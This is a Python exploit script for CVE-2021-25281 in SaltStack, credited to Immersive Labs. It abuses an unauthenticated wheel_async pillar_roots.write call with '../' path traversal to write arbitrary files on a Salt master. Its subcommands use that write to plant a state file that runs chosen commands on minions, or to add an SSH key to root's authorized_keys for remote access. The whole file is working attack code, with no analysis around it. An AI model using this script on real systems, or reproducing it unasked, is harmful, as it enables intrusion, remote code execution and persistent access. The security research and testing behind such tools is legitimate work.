cve-2021-25281.py

# Copyright (C) 2021 Alex Seymour, Immersive Labs
# https://github.com/Immersive-Labs-Sec/CVE-2021-25281
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
from argparse import ArgumentParser, Namespace
from pathlib import Path
from secrets import token_hex
from textwrap import dedent

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def read_file(file_path: Path):
    try:
        with file_path.open() as handle:
            return handle.read()
    except OSError:
        print(f'[-] Cannot read file {file_path}')
        exit(1)


def send_request(url: str, path: str, data: str):
    path = path[1:] if path.startswith('/') else path
    url = f'https://{url}/run' if not url.startswith(('http', 'https')) else f'{url}/run'
    try:
        response = requests.post(
            url,
            verify=False,
            json={
                'eauth': 'auto',
                'client': 'wheel_async',
                'fun': 'pillar_roots.write',
                'data': data,
                'path': f'../../../../../../{path}',
            },
        )
    except requests.RequestException:
        print(f'[-] Failed to send request to {url}')
        exit(1)

    if json := response.json():
        print(f'[+] Got JID: {json["return"][0]["jid"]}, the job was queued successfully')
    else:
        print('[-] No JID was returned, the request may have failed or the target is not vulnerable')


def handle_write_file(args: Namespace):
    if args.file:
        file_contents = read_file(args.file)
    elif args.data:
        file_contents = args.data
    else:
        print('[-] Either file or data is required')
        exit(1)

    print('[+] Attempting to write file')
    send_request(args.target, args.path, file_contents)


def handle_state_file(args: Namespace):
    state_file_path = Path('/srv') / 'salt' / f'{token_hex(16)}.sls'
    file_contents = dedent(f"""\
    '{args.cmd}':
      cmd.run
    """)

    print(f'[+] Attempting to write command to {state_file_path} state file')
    send_request(args.target, f'/srv/salt/{state_file_path.name}', file_contents)


def handle_ssh_key(args: Namespace):
    public_key = read_file(args.public_key)

    print(f'[+] Attempting to write an authorized key for user {args.user}')
    if args.user == 'root':
        send_request(args.target, '/root/.ssh/authorized_keys', public_key)
    else:
        send_request(args.target, f'/home/{args.user}/.ssh/authorized_keys', public_key)


def main():
    parser = ArgumentParser()
    parser.add_argument('target', help='The URL of the target Salt master')
    subparsers = parser.add_subparsers()

    write_parser = subparsers.add_parser('write', help='Write data to a file on the master')
    write_parser.add_argument('path', help='The file path to write to on the target')
    write_parser.add_argument('-f', '--file', type=Path, help='A file to upload to the target')
    write_parser.add_argument('-d', '--data', help='The raw contents to write to a file')
    write_parser.set_defaults(func=handle_write_file)

    state_parser = subparsers.add_parser('state', help='Create a state file to try and run commands on minions')
    state_parser.add_argument('cmd', help='A command to add to a new state file')
    state_parser.set_defaults(func=handle_state_file)

    ssh_parser = subparsers.add_parser('ssh', help='Write an SSH key to try and gain remote access to the master')
    ssh_parser.add_argument('public_key', type=Path, help='A file containing the public key to upload')
    ssh_parser.add_argument('-u', '--user', default='root', help='The user on the target to try and upload the key to')
    ssh_parser.set_defaults(func=handle_ssh_key)

    args = parser.parse_args()
    args.func(args)


if __name__ == '__main__':
    main()